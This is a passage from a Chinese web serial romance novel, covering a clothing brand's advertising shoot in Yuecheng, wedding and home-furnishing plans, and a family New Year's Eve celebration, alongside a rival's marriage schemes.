阿英那头早等不及了，拍广告可是大事啊，尤其珊姐还要邀请胡敏来拍，人家不但家喻户晓，而且还在国外得过大奖，不仅她和团队既紧张又兴奋，整个雷家都非常期待胡敏来粤城！ 雷生金还开玩笑地说要请胡敏来家里吃饭，结果被阿英妈妈赏了一脚。 林珊一行人一抵达粤城就开始马不停蹄地忙碌，阿英这边的小团队如今已经发展到十六七个人了，从一开始几个小姑娘在阿英家里鼓捣衣服，到后来雷生金看不下去，给她弄了个小院子让她们都去那里头办公了。 地点就在雷家铺子所在的那条街，用江湖点的说法，就是在雷家的地盘上。 林珊不是第一次去这里了，里面的姑娘小伙对她都很熟悉，魏雪琴跟闫青虽然也跟大家认识，但基本都是在电话里联系的，说一些供货方面的事情。这次算是大家第一次面对面来谈工作。 阿英把春夏款的设计图都拿了出来，所有人一起参与，他们要用作快的速度决定每件衣服的最终款式，然后服装厂开始紧急制作样衣，林珊这边再根据阿英的灵感来源和春夏衣服的风格，创作出一个主题出来。 时间紧任务重，所有人都打起了十二分精神。 阿英明年春夏装的设计图，除了结合以往卖得好的款式，还有自己平时看杂志和外国电影得来的灵感，把这些都融进设计图之后，再删删减减，挑选出最耐看的那款。 以前需要把图传给林珊看过之后，做最后的裁定，现在在一个桌上做事效率实在太高了。 不到一天的时间，几个人就给春夏装定了一半的稿，等明天再把定另一半定完，就能交给工厂做样衣了。 晚上吃完饭后，阿英还一直窝在林珊的房间跟她聊天。没办法，实在是太兴奋了，林珊家的辣椒酱和那个“下饭菜”的广告真得太厉害了，现在一提辣椒酱谁不知道林爱国啊。 阿英就想着要是这次的服装广告也能那么厉害的话，那全国人民不就都知道“红珊”了？！再加上珊姐还用她当招牌，那以后她是不是也要跟着出名了？！ “姐，我有点紧张，但是又特别兴奋。”阿英笑得可爱极了。 林珊乐道：“这才哪儿到哪儿，咱好好发展，以后让外国人都抢你设计的衣服穿。” “嗯嗯嗯！”阿英猛点头，笑得更开心了，对未来充满了无比美好的憧憬。 次日，所有人又忙碌了一天，不但把所有春夏款的衣服都定完了稿，还根据这些服装制定出了这一季的主题为“新生”。 “新生”跟春夏这个时节相扣，而且也算是“红珊”公司的一个新的开始。 定好这些之后，林珊次日就带着阿英和自己的小团队去广告公司了。 刘灿荣之前就在电话里，了解到了林珊这次准备做什么项目，所以准备工作做得非常充分，就连导演和摄影师的人选，他都给找了好几位。 林珊和阿英根据作品盲选，一下就挑中了价格最贵的两位。 刘灿荣笑道：“贵有贵得道理，本来要的价格更高，要不是我们关系足够硬，人家都不一定愿意来粤城呢。” 林珊非常明白这个时期的港城人是怎么看这边的，谢过刘灿荣后，开始跟他商量具体的广告内容。 “红珊”想要的风格是自然随性中透着高雅和干练，在哪里拍摄比较好林珊也给了建议，明星跟模特她们那边也都自己谈好了，只需要导演拿出应有的水平就可以了。 刘灿荣觉得这活儿虽然听着简单，可光一个“自然随性、高雅干练”就够复杂了，更别提林珊还要求艺术 感。 不过这都不是问题，一个好的广告人，如果不能为老客户解忧，让老客户满意，那还有什么前途！ “好，没问题！我们争取在一个礼拜之内搞定所有的准备工作。你这次不是留在粤城吗？那我们随时保持沟通，如果有什么地方不合适的，也好及时调整。” “好。”林珊这次准备完成所有的拍摄任务后再返程，毕竟是“红珊”的首个广告，重要性非同一般。 这边暂时谈好之后，林珊一行人又马不停蹄地赶往服装厂。 厂里所有的师傅们加班加点，用四天半的时间，完成了明年春夏装四十二件样衣的制作。当然了，之所以能这么迅速，还是因为春夏装要好做一些。 样衣做好之后，就是各种试穿挑毛病。设计图和实物的区别是非常大的，如果布料材质不行，或者颜色不对，穿到身上就完全不是那个效果。 确保大的方面都没有问题之后，还要进行细节的调整，有时候是换扣子，有时候是改小领子，总之这个工作一般需要个三、四轮才能调整出一件合格的样衣。 林珊第一次全程在地的参与制衣，以前大多都是在电话里沟通，发发传真，邮寄一下图纸和样衣什么的。因为时间不赶，所以也没有那么急。 这次是由于要赶着明年三、四月份做全面推广，所以才搞得这么紧急。不过人多力量大，办事效率一下就上来了。 虽然衣服要一直做下去，但林珊也不是每一季都要做广告。她初步的计划是做春夏款广告轰炸完后，再做一季秋冬的。这样贯穿全年的去搞热度，名气就足以响彻全国了。 以后换季的时候，只要拍摄海报就行了，不需要季季砸钱去搞宣传。 知名度起来之后，赞助电视节目和明星活动穿衣，这些就都可以正式开展了。等到时机成熟，大秀是一定要办起来的。慢慢的可以跟其他同行一起建立时装周，带动整个行业向前发展。 规划路线并不困难，难的是走好脚下的每一步。 样衣都做好之后，刘灿荣那边也早准备妥当了，林珊在忙碌的期间也没忘跟胡敏和冯晓丽约好日期。 11月24号“红珊”的广告正式开拍，所有人齐聚粤城的一座洋房内。 场景是刘灿荣重新借着洋房的构造布置过的，林珊非常满意，浪漫中透着古朴，简约中带着厚重。胡敏经过妆造之后，分别变成了三种模样：工作中的干练女性，休闲时的时髦女郎，约会时的明艳女神。 三套完全不同的穿搭，配合着三种不同的场景，展现胡敏不同风采的同时，也把“红珊”春夏装的特点都展现得淋漓尽致。 干练，优雅，时尚，营造出了一种跨越时代的美。后期再搭配上非常贴合主题的音乐贯穿始终，成片的效果一定会更好。 林珊对整个拍摄过程非常满意。 大家对胡敏的专业和高效，也都感到震惊。私下都在偷偷说，不愧是得过大奖的演员啊，办公的时候真的就像是懂很多东西的知识女性，跟朋友休闲娱乐的时候，又轻松快乐得像个二十出头的小姑娘，等到跟心爱的人一起吃晚餐的时候，又明艳精致得让人挪不开眼球。那装束完全可以直接出席任何盛大的场合！ 导演佩服地竖起大拇指，刘灿荣也忍不住对林珊说：“胡老师真是神了，小林老板慧眼识珠。”他完全没想到前几个月还在电影里演农村妇女的胡敏，居然可以这么洋气，这么有味道！ 三个篇章的广告，一共拍摄了三天半的时间，胡敏用自己的专业素质征服了所有人。林珊原本想再请她吃顿饭来表示感谢，可胡敏还要赶回去继续拍戏，根本没有一点儿富余的时间。 林珊和阿英只好准备了一些粤城特产，亲自把她送到了机场。 胡敏的工作结束后，还有模特冯晓丽的拍摄任务。春夏装的所有衣服都要在洋房里拍摄，每一套如何表现需要精心策划，以及和摄影师现场调整，一共四十二件新品，任务非常庞大。 冯晓丽好像天生就是干这个的，虽然对拍摄过程有些生疏，但整个人非常出片。摄影师对她是又爱又恨，指导的时候嫌慢，看效果的时候又忍不住惊叹。 就这样在所有人的共同努力下，一个礼拜后，“红珊”新一季春夏装的所有拍摄工作圆满结束。 林珊跟阿英在粤城最大的酒楼包了几桌，宴请所有的员工，这一阵子大家实在是辛苦了。 第160章 第160章 意外惊喜 犒劳宴上, 雷家人也都来了。雷生金看着自家闺女像个小老板似的到处跟人聊天，骄傲得不能行。一整个晚上都笑得合不拢嘴。 一开始他真得以为小姑娘们就算能干好，也是小打小闹, 后来渐渐见识到林珊的本事后，这个心思就完全没了。但是任他再怎么想, 也不会想到卖个衣服还能弄到这种规模。 听说厂子现在都不够用了，要再找地方扩大呢。这回还请了名人和模特来拍广告, 这要是播了，岂不是全国人民都能看见他家阿英做的衣服了？！ 雷生金昏浑身每个汗毛都透着骄傲和自豪, 真不愧是他闺女啊！虎父无犬女！等那个广告上了, 他一定要放个电视在铺子里头，让所有来买东西的客人都看见！ 除了为阿英骄傲, 雷生金还跟他老婆一块儿敬了林珊一杯酒。孩子现在能这么懂事, 这么能干, 完全离不开人家的栽培啊！ 林珊谦虚了两句，狠狠夸了夸阿英, 又表达了一下对雷家的诚挚感谢。粤城这一摊子能挑起来, 雷家的帮衬起了很大的作用。全靠她一个人的话, 根本不可能走得这么顺。 这次来粤城的主要任务完成之后，林珊次日去深城看了看“御景华府”的工地。年前如果没什么事儿她就不过来粤省了，趁着这回在，去工地看看进展，跟郭有财和郭广盛聊聊项目的后续问题。 在深城住了一晚后, 一回到粤城阿英就跟她说了件事。 之前林兰抄袭的事儿报给工商之后, 那边说问题不大，会帮他们处理。结果处理到现在，阿英找的人突然说他上面的领导发话了, 对方没什么问题，他们没道理随意处罚人家。 阿英明白对方这是找人了，详细打听之下，知道陈炳忠的儿子就在工商局工作，这等于是跑人家家里告状去了。 “不行让我爸出面，我就不信他们还能继续包庇下去。”阿英很是气愤。 林珊拍了拍她，“不用。”这片儿谁不知道阿英是雷家的宝贝疙瘩啊，既然不管用，说明对方使得劲儿更大，再请雷生金出面，势必要惊动一把手，如果陈家也找的是同一个人，难免有让人家大领导左右为难的意思。完全没这个必要。 “你之前说过，林兰现在是陈老板儿子的未婚妻？” 阿英：“那人是这么跟我说的，好像都快结婚了。” 林珊点点头，“我想先去看一眼那个‘祖兰’服装店。” “走！姐，我保证你看了之后会想砸了她的店！” 林兰的店离雷家不算远，阿英的司机兼保镖很快就把她们载到了那条街上。从外面看这铺子果然跟阿英说的一样，照抄。 连林珊设计的招牌样式都抄了，其他的就更不用说了。 “行了，走吧。”既然走正规途径不管用，那就只能来点儿不正规的了。 林珊把林兰在京市的所有事情说给阿英之后，请她找人在陈炳忠家附近传播一下。林兰的“光荣事迹”可不止京市那点儿事，只要怀疑的种子一落下，查清楚一个人就是分分钟的事儿。 阿英听得大为震撼，直呼：“真不要脸啊她！这到底是个什么人哪？没有一点羞耻心吗？” 林珊笑着拍了拍她的肩膀，林兰有没有羞耻心不重要，重要的是一次次招惹不该招惹的人，是要付出代价的。 结束在粤省的行程之后，回去的路上林珊一行人还在汉南省会南州市待了两天。这边的新店已经正式收尾了，顺利验收完，再参加一下开业典礼，也省得再来回跑。 南州市的发达程度跟汉州差不多，开业当天依旧是红红火火，大排长龙。林珊看着开店小分队的成员们办事越来越利索，成长非常迅速，很开心也很欣慰。 下一个开店的地方是沪市，林珊准备扩大一下小分队的人员构成。之前一直没进沪市，是想完成自制之后再去。现在不但自制率快达成了，而且因为酱料和下饭菜的发展迅猛，积赞了很多沪市的门路，再加上那边也有了包子铺的加盟店，他们已经不再属于人生地不熟、两眼一抹黑的状态了。 另外沈丹的老家就在沪市，家里人脉也广，真遇到什么问题，还能请她帮忙牵一下线。 林珊回到安河之后，就让李春刚立刻去招人，等小分队休息调整一阵后直接出发沪市。等拿下沪市，再攻略长三角的其他重点城市。 趁着在家，林珊抽空又去新食品厂的工地看了看。目前厂子已经打好了地基，整个样貌初见雏形，因为明年五月中旬就要竣工，所以一天都耽搁不得。有杜平和李国超两个人一起把关，整个施工效率还是挺高的。 连续这么高强度的忙碌了一个多月，林珊确实有些累了，本来下午就能返回京市的，最后还是决定在家休息一晚再回。反正跟她一起南下的京市来的小分队，之前就先行回去了，她自己次日坐火车就行。 谁知等林珊正在家里跟小外甥玩儿得开心不已时，贺正岩敲响了院门，妥妥地给了她一个大惊喜。 林珊放下小昊昊，一把抱住贺正岩，“你怎么来啦？！” 贺正岩看了眼旁边捂脸的赵桂花，颇有些不好意思地清了下喉咙，“正好有空。” 林珊松开他，看了看赵桂花和好奇的小昊昊，瞬间乐出声来。 赵桂花嗔她一眼，抱起小昊昊去院子外面玩儿了，留给两人一点儿私人空间。谁不是从那个年纪过来的，孩子们感情好，她高兴还来不及。只要不是在街上就行，以前在外头搂搂抱抱可是要抓人的。 林珊笑着瞄了眼院子，把贺正岩带进了她的房间。 门一关，她还没来得及开口说话，就贺正岩被紧紧搂到怀里，狠狠亲了好大一会儿。 半晌之后，俩人搂在一块儿喘气…… “明天就回去了，你还专门跑一趟。” 贺正岩摸摸她的脸，“不放心。” 林珊笑了，踮起脚亲了他一口，又窝回怀里，贴着他砰砰乱跳的胸口，内心无比踏实。 贺正岩亲亲她的头顶，把人抱得更紧一些。 小情侣将近两个月没见，哪怕什么都不干，单纯地抱在一起也觉得幸福。 晚上赵桂花做了几道菜来招待贺正岩，林红和王军也过来家里吃了顿饭。桌上大家天南海北的闲聊，不知道怎么就谈到了结婚的事。 因为他们谁都没办过这种跨越省市的婚礼，所以王军跟林红豆很好奇到时候怎么办。 贺正岩的计划是两头都办，现在京市办一场，跟着回来安河再办一场。省得两边的客人不方便来回跑。 赵桂花觉得这么准备挺好的，就是怕在京市那边她自己帮不上什么忙，还得闺女去准备。 结果贺正岩连这个都考虑到了，他也是参考了王军跟林红的婚礼，觉得找个地方一块儿办最合适，“这样谁都累不着，两头都认识的人，也不用两边上礼。” “是是是，要是能这么办就太好了！”赵桂花对这个安排是再满意不过了，“你家那边没意见吧？” 贺正岩笑道：“没有，他们只希望那天赶紧到。” 赵桂花乐了，天下父母的心都是一样的，孩子没对象的时候盼对象，有了对象又盼结婚，结婚了就又开始盼孩子了，总有操不完的心。 次日一早，林珊跟贺正岩就在赵桂花的不舍中，返回京市了。 她这次出来的时间太长，回去之后只从家里拿上几件衣服就回学校住了。大四上学期还有半个多月就要结束，她除了要上一些公共课，还要开始准备来年的毕业论文。 同寝室的徐青和陈小娟，也非常忙碌，除了课多之外，还要参加各种实践，另外毕业分配的事儿也得提前做一些准备。 林珊不打算浪费分配的名额，直接提前跟关系好的老师打了声招呼。没想到快四年了，老师还没有放弃劝她专攻学业的想法，非常苦口婆心：“我知道你挣的钱比我们这些老师加起来都多，但是孩子啊，人生路还很长，绝对不仅仅只有钱这一个目标。你是个不可多得的好苗子，千万不要浪费自己的才华啊！三思！万事三思！” 林珊明白老师的良苦用心，但是她自己到底有几斤几两重，心里还是清楚的。如果不是仗着后世的记忆，她都不一定能一次就考上清大，更不要省状元了。上了大学成绩能保持得好，纯粹是因为她早学过了。 她自觉在计算机方面天赋一般，再加上没有热爱，根本不可能有多大的成就。不过老师们说得对，人生不能只想赚钱。她确实得为躺平之后，找点儿兴趣爱好。 晚上跟贺正岩见面后，闲聊起了学校这些事。 他有些好奇地问她：“你幻想过咱们结婚以后的生活没？” 林珊没有细想过，不过有孩子和没孩子是个分水岭，生活会有非常大的不同。她很喜欢贺正岩，既然决定跟他步入婚姻，自然也想组建一个小家庭，生一个很像他们的孩子。而且贺正岩在这个年代真的算晚婚了，他想当爸爸的心，不用明说她都能看出来。 “没孩子之前应该没什么大的区别，不过等咱们当了爸妈，在孩子没上学之前，我会把精力都放在家庭身上的。” “你……”贺正岩非常意外，他以为林珊会跟她姐似的，生了孩子也照常上班，孩子交给奶奶管，现在的双职工家庭都是这样，他小时候也是如此，完全没想到天天在拼事业的她竟然会这么想！ 林珊瞧他一脸的惊讶，忍不住笑道：“姜阿姨是个大忙人，我妈也不可能一直在京市，把孩子交给保姆我不放心。再说了，公司是自家开的，我还不能决定自己想什么时候照顾孩子吗？” 贺正岩笑了，搂着她亲了两口，“是，我忘了你是大老板。” 林珊嗔他一眼，掐了一把痒痒肉。 160-180 第161章 第161章 装修婚房 两个礼拜后, “红珊”明年春夏装的广告初版完工。 林珊收到带子后，对所呈现的效果非常满意。不但超出她本人的预期，连刘灿荣和导演那边也赞不绝口, 还非常有信心地说，明年他们肯定能凭借这个广告再得个行业大奖！ 等林珊拿到最终版的带子后, 就可以开始安排明年三月份春夏装的推广工作了。硬照出来的比广告快，前几天她就已经把所有要用的资料都选好了。 魏雪琴和闫青这一阵儿一直在跟各大杂志和报社商谈价格, 电视台那边林珊比较熟悉，在广告开拍前就跟人家排好了期, 确保不耽误全面的推广活动。 这一阵子林珊除了忙着学校的考试, 就是在准备“红珊”即 将到来的推广工作。今年的农历年在一月份，离过年没多少时间了。得先把这些工作做完, 不然临到年根儿把所有事情都堆到一起会更加忙碌。 完满结束学校的考试后, 林珊又给京市的公司招了一些人。 行政主管和会计, 是通过沈丹和梁小慧认识的人，很靠谱, 做事也很利索。其余的要么是看见了招工启事, 要么是魏雪琴他们认识的人。总之不管是谁介绍来的, 都得适用才行。 每天都忙忙碌碌的，一到快过年的时候就会猛然惊觉日子过得真快啊，一个不注意就又一年了。 今年除了给员工们准备奖金和福利外，她还联系了一下京市和安河的妇联和儿童福利院，准备捐一些衣物和粮食过去。给钱虽然更省事儿一些, 但是里头的弯弯道道也多。尽管物资也不保证一定就能百分百送到需要的人手里, 不过总好过更加不可控的现金。 最近看着送来的账本，林珊再次对全体员工这一年的辛苦付出感到感激，又是大丰收的一年, 所有的目标都超额完成，每个人的奖金都必须给得厚厚的。 至于自家今年过年的安排，林珊跟姜春荣提议还去安河，她一听就立刻开心地表示：“去年玩得那么开心，要是不打扰的话，能再聚聚最好了。不过以后也别都在安河，等明年把大家都请到京市来过年，这边儿的庙会不错，能游玩儿的地方也多。” 林珊正有此意，“好，都听您的。” 贺正岩也在一边儿补充，“老院子已经修好了，等他们明年过来，大家可以一块儿住，顺便考个羊吃吃。” 林珊笑了，“你这么爱吃羊肉啊。” 一到冬天他就想吃涮羊肉，虽然两人出去吃饭的时候不多，但只要一出去，他都会问涮肉行不行。这未免也太爱羊了。 “还行吧。”贺正岩自认什么肉都爱吃，不过仔细想想，好好确实吃羊比较多。 姜春荣乐道：“你应该去大西北。人家那地方的肉，跟咱这儿的根本不是一个档次的。可惜以前条件比较苦，一年也就过年的时候能吃上两顿好的。你们现在很幸福了。” “是，日子确实越来越好了。”贺正岩深有同感。 林珊也笑着说：“以后还会更好的。” 吃肉不再是奢望，穿新衣不再是过年时候的专属，汽车越来越多，房子越来越高，科技更是越来越发达…… 临近过年除了忙着给员工发钱发福利外，林珊抽空还要跟贺正岩探讨婚房装修的事儿。 因为婚期就在林珊毕业后没多久，他们都不想太赶，所以就开始提前准备。先装修的是他单位分的房，俩人婚后大部分时间肯定要住在那儿。楼上楼下又都是同事，所以不需要装修得多出挑，而且房子本身结构就很好，地方也大，定制一套符合生活习惯的家具就行。 这年头虽然卖家具的也不少，但是款式都不太符合林珊的审美，请吕大爷打造虽然更贵一些，但毕竟都是好木头好工艺，使用的时间肯定更长。 整个房子唯一需要改动多一些的，其实就是厕所和厨房。厕所都是水泥墙，需要刷漆防水贴瓷砖，安个热水器，再把蹲坑改成坐便器。洗漱的地方跟厕所隔开，这样早上起来两不耽误。 厨房本来就是煤气炉，只需要做一套橱柜，再安个抽油烟机就行了。郭广盛那边上个月刚进了一批油烟机，林珊给赵桂花和林红都安排上了，安河家的厨房虽然是单独盖的屋子，但后世有研究表明，油烟是女性肺癌的第一杀手。 有了这种好东西，自然都要给大家安排上。 本来也要给姜春荣安排，结果她说什么也不要，连连摆手表示自己不做饭，平时都吃食堂，林珊又总接她过去吃好的，煤气罐都一年没换过了。 林珊只好作罢。 贺正岩好几次都表示过特别喜欢她屋里的这个茶水区，那当然也必须都给安排到婚房里了。至于床，现在可没有一米八的床，即使能做大点儿，也没有合适的席梦思。 于是林珊就跟贺正岩商量，“你是想舍弃掉软度还是宽度？不要软度，咱们就做个大床，定做一些薄海绵或者厚褥子，如果想睡席梦思，那就只有一米五的宽度了。” 贺正岩不想睡席梦思，他在部队睡硬板床习惯了，不过一米五的床也够大了吧，看她这意思是还想再做大点儿，“你想要多宽的？” “一米八。”林珊比划了一下自己卧室的床，“那个是一米五的，我一个人睡觉得特别舒服。要是再多一个人，我怕会挤得慌，我喜欢床边留点富余的地方。” “好，那咱就做个一米八的。”贺正岩笑着摸摸她的脑袋，觉得她写写画画，认真跟他讨论问题的时候特别可爱，没忍住凑过去亲了两口。 林珊抗议一声，把他按回位置，“说正事儿呢。” “好好好，说正事儿。” 讨论完婚房，俩人又商量了一下科研所的房子怎么弄。那房子有些年限了，但维持得还是很不错的。再加上他们以后也不在那边常住，林珊建议把墙刷成乳胶漆，其他的都维持原样就行。 乳胶漆在这个年代还没有完全普及，不过她最早装修京市铺子的时候就用过，所以熟门熟路。科研所这房子唯一的毛病就是墙上掉白，一模一手白灰。 安河的家里也早被她换成乳胶漆了，不然一直钉着旧床单当半截墙布用，实在太不美观了。 贺正岩没意见，本来装那房子也是为了林珊住得舒服，他怎么着都行。 两人讨论完大的方面，就开始商量定做家具的事儿，一直聊到夜里十点半多，贺正岩看了眼表笑着说：“太晚了，要不……我今天就住书房？” 林珊被他这试探的表情给逗乐了，“好呀，不嫌床小你就住吧。” 贺正岩一把将人搂住怀里，开心地亲她，边亲还边说：“不嫌小，那单人床特舒服。” 林珊笑着锤他。 大年二十七，林珊完成了所有在京市的事情后，就先回安河了，那边还有很多员工在等着开表彰大会，不回去不行。贺正岩跟姜春荣照旧是大年三十上午过去。 员工们表现得太好，钱跟福利都给得足足的，自然不用画什么更大的饼来激励人心。不过每到过年发工资的时候，其实都是公司安保最紧张的时刻，这时代年前犯罪率很高，小偷小摸居多，抢钱要命的也不是没有。 李国超当过兵，招来的护送财务的队伍也都是退伍人员，手里还有各种林珊见都没见过的家伙事儿，确保这个年所有人都能过得安安全全开开心心。 京市的治安虽然比其他地方好一些，安保同样马虎不得，之前新组建的安保团队都是杨国福负责找的人，贺正岩也是过了眼的。 毕竟全家都吃过一次差点丧命的亏了，不做防范真得不行。 忙完了公司的事儿，就该置办家里的了，赵桂花这次有了准备，没再“奴役”林珊打扫卫生，而是请公司负责扫卫生的婶子大爷给干的。 窗户擦得那叫一个亮堂，窗花全都贴满了，春联又大又红，粘起来比结婚还喜庆。她今年还特地花钱买了好多小彩灯，搭配着小彩旗一挂，过年的气氛那叫一个浓厚啊。 饭菜就更不用说了，今年她同样也学聪明了，没再自己吭哧吭哧上手，让包子铺的师傅帮忙处理了很多食材，只等着大年三十晚上大显身手。 贺正岩跟姜春荣年三十上午一到，照旧从车上搬下来一箱又一箱的年货。赵桂花急得只拍贺正岩的背，“诶呀呀，你怎么又乱花钱，不是说了不让带这么多过来了？！客气啥啊，咱又不是外人！” 贺正岩笑着只管往家里搬，姜春荣一把搂住赵桂花的胳膊，把她往里带，“有单位发的，也有亲戚朋友给的，放京市容易坏，拿过来咱一块儿解决了。” “那这也太多了，京市也留点儿给你们回去吃啊。”赵桂花觉得这娘俩肯定把年货都搬来了。 姜春荣笑道：“留了留了，每一样都留了，你就放心吧。来来来，咱先讨论一下今天晚上吃什么。” 提起这个赵桂花就来劲了，“八菜一汤，鸡鸭鱼肉都有，我还准备了红酒！”她已经迫不及待要跟老姐姐喝一杯了。 姜春荣乐道：“好！我也带酒了！咱今晚不醉不睡！” 林珊跟贺正岩一边搬东西，一边看着长辈们笑。没想到家里最惦记着喝酒的，不是 他们，反而是两位上了年纪的女同志。 第162章 第162章 除夕大团聚 今年这八菜一汤, 跟去年稍微有些区别。 红烧鱼、狮子头和回锅肉这三道菜继续保留。螃蟹一半儿清蒸，一半儿做“避风塘炒蟹”，和起来算一道菜。虾不再做香辣虾而是做成滑蛋虾仁, 再炖一个红焖羊肉，一个辣子鸡, 最后把蒜香肋排也安排上，再用老母鸡和干香菇熬一个鸡汤就非常完美了。 一桌菜没有一个素的, 都是按照大家的口味调整出来的。 因为新鲜菜色比较多，所以林珊今年是主厨, 赵桂花是副厨, 姜春荣和贺正岩继续打下手。 所有人都忙得不亦乐乎，林红跟王军还抽空带着孩子过来看了看, 林红点明初二也要吃这个炒蟹和红焖羊肉。 林珊笑着应了, 让小昊昊亲一口脸颊当回报。 小昊昊本来就喜欢小姨, 一口就啃在了林珊脸上，还趴在她耳朵边奶声奶气地说：“小姨, 我想吃巧克力。” 林珊倒是很想给他, 可是碍于林红威胁的眼神, 没敢答应，只能遗憾地说：“后天你来的时候小姨再给你吃。” 小昊昊同样很遗憾，“你还没买吗？” “……嗯。”林珊笑着给他看了看自己空空的口袋。 小昊昊叹了口气，非常失落。 所有人都被他小大人的模样给逗乐了，本来胖乎乎的就招人喜欢, 说话清清楚楚, 性格又好，怎么可能不俘获大家的心。 姜春荣抱过来小昊昊，亲切地问他：“没有巧克力, 咱先吃个虾仁好不好？” 小昊昊看了看虾仁，“好吧。” 林红气笑了，“你刚在家吃了鱼，这会儿就又饿了？” 贺正岩乐出声来，这小家伙儿胃口真好。 赵桂花也笑道：“能吃是福，咱昊昊长得多好啊。你看老陈家那个小孙子，瘦得跟麻杆似的，三天两头看病去，小孩儿胖点好。” “就是。”林珊在一旁搭腔。小昊昊只是有些肉乎乎的，离小儿肥胖还远得很，这个年代就算条件再好，也跟后世没得比。 林红瞧这满屋子都在替小家伙说话，王军也只顾着傻乐不吭气，她也忍不住笑了，“你们都太宠他了。” 赵桂花理直气壮：“孩子没犯错的时候，就该宠着。” “好好好。”林红甘拜下风。看着儿子稚嫩的小脸，再次感慨这孩子出生在了蜜罐里。 家里这日子真是一年比一年好，刚记得她们母女三人还在大杂院的小屋里过年呢，这一转眼家里就多了这么多人，等姗姗跟小贺结了婚生了孩子，肯定会更加热闹。 晚上年夜饭一一上桌后，林珊四人就伴随着电视机里的春晚一起开动了。 赵桂花虽然没当过领导，却酷爱在家庭聚会的时候讲话。感慨一下生活来之不易，感谢一下大家，然后一起举杯开个场。 姜春荣特别喜欢赵桂花的性格，所以总是最配合的那个。林珊跟贺正岩跟她一比，反应速度明显稍逊一筹。 “来来来，开动！不是我吹，我闺女就是天底下最好的闺女，那句话怎么说来着？进得去大厅，去的了厨房！”赵桂花美滋滋地看着林珊，突然就得意的不行。 林珊笑了，感觉她还没开喝就已经有点儿高了。 姜春荣还无比配合：“那是，这孩子我打第一眼看见就特别喜欢！就想让她当我儿媳妇！不错，我家这小子也算争气，总算把人给追到手了。” 贺正岩笑着看了林珊一眼，突然想起在安河受伤住院时候的情景。他其实后来自己回想起来的时候也挺纳闷，为什么那时候就没往那方面想过呢，明明她漂亮得让人看一眼就有点儿发懵。 他之前也跟林珊聊过这个，她当时笑着说：“因为你为人正直，只把我划到了战友妹妹那一栏里，没工夫想别的。” 贺正岩当时觉得有道理，不过这会儿再认真回想一下，其实心里对她还是有些不一样的，不然也不至于他妈一开口，他就动起了那方面的心思。 这几年下来，他更是深切体会到感情的事儿根本强求不来，喜欢就是喜欢，不喜欢就是相处一辈子也不行，更不要提被人撮合了。 “吃饭。”林珊被贺正岩看得久了，直接夹了块羊肉给他，顺便再嗔他一眼，也不看看两位长辈都在桌上坐着，直勾勾看个没完啦。 贺正岩低头笑着把肉吃了，心里美滋滋的。 这边年夜饭的气氛美好融洽，隔着两条街的林兰家却是怎么都吃不下饭。 原本刘淑芬都去粤城跟雷家吃过订婚饭了，为了那顿饭，她还背了很长时间林兰教给她的话，明明大家聊得都挺好的，说说笑笑就把婚事说定了，靠好来年四月份就办礼。结果，年前闺女突然告诉她陈家那边悔婚了！不但悔婚，还不让她在服装店干了！ 刘淑芬气得瘫床上好几天都起不来。这一个个都是陈世美！真是没天理了，订饭都吃了突然又来这么一出！这不是摆明了欺负他们孤儿寡母吗！ 跟上唯一不同的是，林兰这回比较精明，她在跟陈耀祖订婚之后就偷偷发生了关系。防的就是有什么差错，生米彻底煮成熟饭，到时候就是有人想搞破坏也改变不了什么。 更何况陈耀祖还站在她这边，一直跟家里人说那些事儿他都知道，林兰是无辜的，她本人什么都没干过。 陈炳忠气得血压都高了，长这么大第一次动手打了他的宝贝儿子，可惜陈耀祖早被林兰迷得已经分不清东西南北了，任凭家里人怎么说他都坚信林兰的无辜。 甚至趁着过年家里准备东西忙乱，偷偷从粤城跑来了安河，为的是向林兰和林家表达歉意和结婚。 刘淑芬听林兰的话，先是冷了他两天，后来才在林兰和林爱军的假意说情下，勉强打起精神操持过年这一摊子。 四菜一汤，有肉有菜，也不算太怠慢陈耀祖，只是这桌上的气氛着实不好，每一口饭都吃得如同嚼蜡。 陈耀祖大冬天的汗都下来了，憋了老长时间，突然筷子一放，整个人扑通就跪下了，“婶子！我无配偶证明带来了，户口本也偷出来了！我是真心想跟林兰结婚的！不管我家里人同不同意，我是一定要娶林兰的！求求您同意吧！” 林兰之前就跟刘淑芬说好，要她之前不答应，过年的时候再勉为其难的同意，可是现在看着这着这个胖乎乎的小伙子，她是打心里不喜欢，跟贺启明实在是没法儿比啊，一个天一个地，条件都不如杨清明！ 唉，可是这俩死孩子连那事儿都做了，不让他们结婚还能怎么样，本来还想着陈家有钱有门儿，还算不错。这下连他家里都不同意了，这真结了婚能有什么好日子吗？ 刘淑芬唉声叹气，说着闺女安排给她的话，“唉，我家兰兰命苦啊。我怕把她嫁到你家，被你家人嫌弃，这样的话还不如不嫁，我养她一辈子。” 陈耀祖急得恨不得把真心掏出来，“不会的！绝对不会！我爸妈就我一个儿子，他们舍不得我为难吃苦的，我跟林兰先把婚结了，等以后慢慢相处下来，他们一定会知道兰兰有多好！多善良！” 刘淑芬还是叹气：“吃饭吧，等过完年再说。” 陈耀祖不明白这是同没同意，还在地上跪着，林兰满脸心疼地看着他，给他爱的鼓励。 林爱军也在一旁帮腔：“妈，陈家现在是被人蒙蔽了，以后一定会明白的。” 刘淑芬做出一副没有办法的样子，抹了把泪，不是很情愿地来了句：“起来吧，就算再急，也得等过完年不是。” 陈耀祖这回听懂了，瞬间开心地立正站好，对着刘淑芬深鞠一躬：“我以后一定会对林兰好的！请您放心！” 林兰在一旁也做出一副喜极而泣的表情，好像真得有多开心似的，心里却一直在暗骂陈家，你们不是嫌弃我吗，咱等着瞧。林珊也给我等着，会在粤城嚼她舌根的没有别人，只有那贱人身边的人！ 如果不是 她，自己现在就是贺启明的媳妇儿！贺家的儿媳妇！用得着跑去那么老远的粤城，去讨好一堆暴发户？！都给我等着！我过不好，你们谁都别想好过！ 林珊不知道自己又被骂了，笑着跟贺正岩碰了个杯。 赵桂花和姜春荣已经被电视里的小品《主角与配角》逗得合不拢嘴了，脑门子都乐出了一层汗，“这也太好玩儿了！哈哈哈！” 还有三个节目就到零点敲钟了，所有人还在开怀大笑，一点儿困意都没有。贺正岩更是等着放炮放礼花，等得跃跃欲试，去年他没带那么多花子来，今年多买了一些，让女同志们可劲儿放个够。 随着京剧清唱《定军山》的结束，迎来了零点钟声，屋里电视台上领导人亲临现场致辞讲话，外头贺正岩鞭炮放得那叫一个震天响。 一是时间街坊四邻家的炮声噼里啪啦地响起，整个安河热闹得像是炸了锅。 贺正岩给女同志们一个人点了一根树棍烟花，让她们拿着冲天上呲。他自己等连绵不绝的炮声结束之后，也加入了礼花大队之中。 